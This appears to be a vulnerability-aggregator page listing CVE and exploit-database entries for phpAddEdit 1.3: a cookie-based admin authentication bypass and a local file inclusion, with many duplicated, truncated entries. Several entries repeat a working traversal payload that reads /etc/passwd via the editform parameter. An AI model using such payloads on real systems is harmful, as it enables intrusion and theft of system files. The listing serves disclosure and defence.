EUVD-2008-6544

Malware in sbrugna...

EUVD-2008-6283

Malware in sbrugna...

Authentication flaw

login.php in PhpAddEdit 1.3 allows remote attackers to bypass authentication and gain administrative access by setting the addedit cookie parameter...

CVE-2008-6581

The vulnerability CVE-2008-6581 affects PhpAddEdit 1.3’s login.php, where the addedit cookie parameter can be manipulated to bypass authentication and gain administrative access. Root cause: improper handling of the addedit cookie allows an attacker to elevate privileges without valid credentials...

CVE-2008-6581

login.php in PhpAddEdit 1.3 allows remote attackers to bypass authentication and gain administrative access by setting the addedit cookie parameter...

CVE-2008-6313

Directory traversal vulnerability in addedit-render.php in phpAddEdit 1.3, when magicquotesgpc is disabled, allows remote attackers to include and execute arbitrary local files via a URL in the editform parameter. NOTE: PHP remote file inclusion attacks are also likely...

Directory traversal

Directory traversal vulnerability in addedit-render.php in phpAddEdit 1.3, when magicquotesgpc is disabled, allows remote attackers to include and execute arbitrary local files via a URL in the editform parameter. NOTE: PHP remote file inclusion attacks are also likely...

CVE-2008-6313

Directory traversal vulnerability in addedit-render.php in phpAddEdit 1.3, when magicquotesgpc is disabled, allows remote attackers to include and execute arbitrary local files via a URL in the editform parameter. NOTE: PHP remote file inclusion attacks are also likely...

CVE-2008-6313

The vulnerability is in phpAddEdit 1.3 (file addedit-render.php). It is a directory traversal flaw that, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a URL in the editform parameter. This note also suggests PHP remote file inclusion i...

phpAddEdit 1.3 Local File Inclusion

phpaddedit-1.3 LFI Author: nuclear script:http://sourceforge.net/projects/phpaddedit/ vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00 vulnerable code: if !$formname && $GET"editform" $formname = $GET"editform"; ... if $errormessage || $error ||...

phpAddEdit 1.3 Login Bypass

------------------------------------- PhpAddEdit 1.3 Login By Pass ------------------------------------- Found By: x0r Evolution Team Email: [email protected] ------------------------------------- Bug In: Addedit-login.php if !$loginerror // --- Set admin cookie so favorite form field will sho...

PhpAddEdit 1.3 - 'cookie' Authentication Bypass

------------------------------------- PhpAddEdit 1.3 Login By Pass ------------------------------------- Found By: x0r Evolution Team Email: [email protected] ------------------------------------- Bug In: Addedit-login.php if !$loginerror // --- Set admin cookie so favorite form field will sho...

PhpAddEdit 1.3 - cookie Authentication Bypass

PhpAddEdit 1.3 - cookie Authentication Bypass ------------------------------------- PhpAddEdit 1.3 Login By Pass ------------------------------------- Found By: x0r Evolution Team Email: [email protected] ------------------------------------- Bug In: Addedit-login.php if !$loginerror // --- Se...

phpAddEdit 1.3 (editform) Local File Inclusion Vulnerability

No description provided by source. phpaddedit-1.3 LFI Author: nuclear script:http://sourceforge.net/projects/phpaddedit/ vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00 vulnerable code: if !$formname && $GET"editform" $formname = $GET"editform"; ... if...

PhpAddEdit 1.3 (Cookie) Login Bypass Vulnerability

Exploit for unknown platform in category web applications ================================================== PhpAddEdit 1.3 Cookie Login Bypass Vulnerability ================================================== ------------------------------------- PhpAddEdit 1.3 Login By Pass...

PhpAddEdit 1.3 (Cookie) Login Bypass Vulnerability

No description provided by source. ------------------------------------- PhpAddEdit 1.3 Login By Pass ------------------------------------- Found By: x0r Evolution Team Email: [email protected] ------------------------------------- Bug In: Addedit-login.php if !$loginerror // --- Set admin...

phpAddEdit 1.3 (editform) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ phpAddEdit 1.3 editform Local File Inclusion Vulnerability ============================================================ phpaddedit-1.3 LFI Author: nuclear...

phpAddEdit 1.3 - 'editform' Local File Inclusion

phpaddedit-1.3 LFI Author: nuclear script:http://sourceforge.net/projects/phpaddedit/ vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00 vulnerable code: if !$formname && $GET"editform" $formname = $GET"editform"; ... if $errormessage || $error ||...

phpAddEdit 1.3 - editform Local File Inclusion

phpAddEdit 1.3 - editform Local File Inclusion phpaddedit-1.3 LFI Author: nuclear script:http://sourceforge.net/projects/phpaddedit/ vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00 vulnerable code: if !$formname && $GET"editform" $formname = $GET"editform";...